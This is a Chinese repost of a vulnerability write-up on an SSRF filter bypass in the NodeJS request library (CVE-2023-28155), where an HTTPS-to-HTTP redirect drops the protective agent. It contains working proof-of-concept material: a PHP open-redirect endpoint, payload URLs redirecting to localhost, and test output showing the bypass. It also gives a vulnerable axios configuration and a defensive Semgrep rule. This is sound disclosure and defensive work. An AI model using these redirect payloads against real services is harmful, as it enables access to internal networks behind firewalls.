写点什么

SSRF 跨协议重定向绕过漏洞分析

作者:qife122
  • 2025-08-14
    福建
  • 本文字数:2795 字

    阅读完需:约 9 分钟

SSRF 跨协议重定向绕过

2023 年 3 月 16 日 - 作者:Szymon Drosdzol


服务端请求伪造(SSRF)是一种已知漏洞,已有成熟的防护方法。但在常规复测中,我意外绕过了 SSRF 防护措施,甚至成功绕过了我们自己推荐的过滤器。这促使我必须深入研究这个问题。

引言

服务端请求伪造是指攻击者利用受害服务器代表自己发起 HTTP(S)请求的漏洞。由于服务器通常可以访问内部网络,这种攻击可用于绕过防火墙和 IP 白名单,访问原本无法访问的内部主机。

请求库漏洞

假设没有过滤器绕过,SSRF 攻击可以通过地址过滤来预防。经典的 SSRF 过滤绕过技术之一是重定向攻击。攻击者设置恶意 Web 服务器,提供重定向到内部地址的端点。受害服务器允许向外部服务器发送请求,但会盲目跟随恶意重定向到内部服务。


这当然不是什么新技术。所有这些技术已经存在多年,任何可靠的反 SSRF 库都能缓解此类风险。然而,我还是绕过了它。


客户的代码是一个简单的集成端点。在最初的测试中没有任何过滤。在我们测试后,客户应用了反 SSRF 库 ssrfFilter。出于研究和代码匿名化目的,我将逻辑提取到一个独立的 NodeJS 脚本:


const request = require('request');const ssrfFilter = require('ssrf-req-filter');
let url = process.argv[2];console.log("Testing", url);
request({ uri: url, agent: ssrfFilter(url),}, function (error, response, body) { console.error('error:', error); console.log('statusCode:', response && response.statusCode);});
复制代码


为了验证重定向绕过,我用 PHP 创建了一个简单的具有开放重定向端点的 Web 服务器,并使用测试域名 tellico.fun 托管在互联网上:


<?php header('Location: '.$_GET["target"]); ?>
复制代码


初始测试显示漏洞已修复:


$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test" Testing http://tellico.fun/redirect.php?target=http://localhost/testerror: Error: Call to 127.0.0.1 is blocked.
复制代码


但是,当我切换协议后,突然又能访问本地服务了。读者应仔细查看 payload,差异非常小:


$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"Testing https://tellico.fun/redirect.php?target=http://localhost/testerror: nullstatusCode: 200
复制代码


发生了什么?攻击者服务器将请求重定向到另一个协议 - 从 HTTPS 到 HTTP。这就是绕过反 SSRF 保护所需的全部。


为什么这样?在深入研究流行的 request 库代码库后,我在 lib/redirect.js 文件中发现了以下代码:


// handle the case where we change protocol from https to http or vice versaif (request.uri.protocol !== uriPrev.protocol) {  delete request.agent}
复制代码


根据上面的代码,任何导致协议切换的重定向都会删除请求代理。没有这个变通方法,每当服务器导致跨协议重定向时,客户端就会失败。这是必需的,因为原生 NodeJs http(s).agent 不能同时用于两种协议。


不幸的是,这种行为也会丢失与代理关联的任何事件处理。鉴于 SSRF 预防基于代理的 createConnection 事件处理程序,这种意外行为影响了 request 库中 SSRF 缓解策略的有效性。

披露

  • 12/05/2022 - 首次向维护者披露

  • 01/18/2023 - 再次尝试联系维护者

  • 03/13/2023 - 分配 CVE-2023-28155

  • 03/16/2023 - 完整技术细节披露

其他库

既然这个号称通用的过滤器实际上如此依赖于 HTTP(S)客户端的实现,很自然地会问其他流行库如何处理这些情况。

Node-Fetch

node-Fetch 库也允许在其选项中覆盖 HTTP(S)代理,而不指定协议:


const ssrfFilter = require('ssrf-req-filter');const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
let url = process.argv[2];console.log("Testing", url);
fetch(url, { agent: ssrfFilter(url)}).then((response) => { console.log('Success');}).catch(error => { console.log('${error.toString().split('\n')[0]}');});
复制代码


与 request 库相反,它在跨协议重定向的情况下直接失败:


$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"Testing https://tellico.fun/redirect.php?target=http://localhost/testTypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"
复制代码


因此不可能在这个库上执行类似的攻击。

Axios

axios 库的选项允许分别覆盖两种协议的代理。因此以下代码是受保护的:


axios.get(url, {    httpAgent: ssrfFilter("http://domain"),    httpsAgent: ssrfFilter("https://domain")})
复制代码


注意:在 Axios 库中,必须在覆盖代理时硬编码 URL。否则其中一个代理会被错误协议的代理覆盖,跨协议重定向会像 node-fetch 库一样失败。


尽管如此,axios 调用仍可能易受攻击。如果忘记覆盖两个代理,跨协议重定向可以绕过过滤器:


axios.get(url, {    // httpAgent: ssrfFilter(url),    httpsAgent: ssrfFilter(url)})
复制代码


这种错误配置很容易被忽略,因此我们创建了一个 Semgrep 规则来捕获 JavaScript 代码中的类似模式:


rules:  - id: axios-only-one-agent-set    message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).    mode: taint    pattern-sources:      - patterns:        - pattern-either:            - pattern: |                {..., httpsAgent:..., ...}            - pattern: |                {..., httpAgent:..., ...}        - pattern-not: |                {...,httpAgent:...,httpsAgent:...}    pattern-sinks:      - pattern: $AXIOS.request(...)      - pattern: $AXIOS.get(...)      - pattern: $AXIOS.delete(...)      - pattern: $AXIOS.head(...)      - pattern: $AXIOS.options(...)      - pattern: $AXIOS.post(...)      - pattern: $AXIOS.put(...)      - pattern: $AXIOS.patch(...)    languages:      - javascript      - typescript    severity: WARNING
复制代码

总结

如上所述,我们在流行的 request 库中发现了一个可被利用的 SSRF 漏洞。尽管这个包已被弃用,但仍有超过 50k 个项目使用这个依赖,每周下载量超过 1800 万次。


我们展示了攻击者如何通过简单地将请求重定向到另一个协议(例如 HTTP 到 HTTPS)来绕过注入该库的任何反 SSRF 机制。虽然我们审查的许多库确实提供了针对此类攻击的保护,但像 axios 这样的库在存在类似错误配置时可能容易受到攻击。为了使这些问题更容易发现和避免,我们还发布了内部的 Semgrep 规则。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码


办公AI智能小助手


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
SSRF跨协议重定向绕过漏洞分析_nodejs_qife122_InfoQ写作社区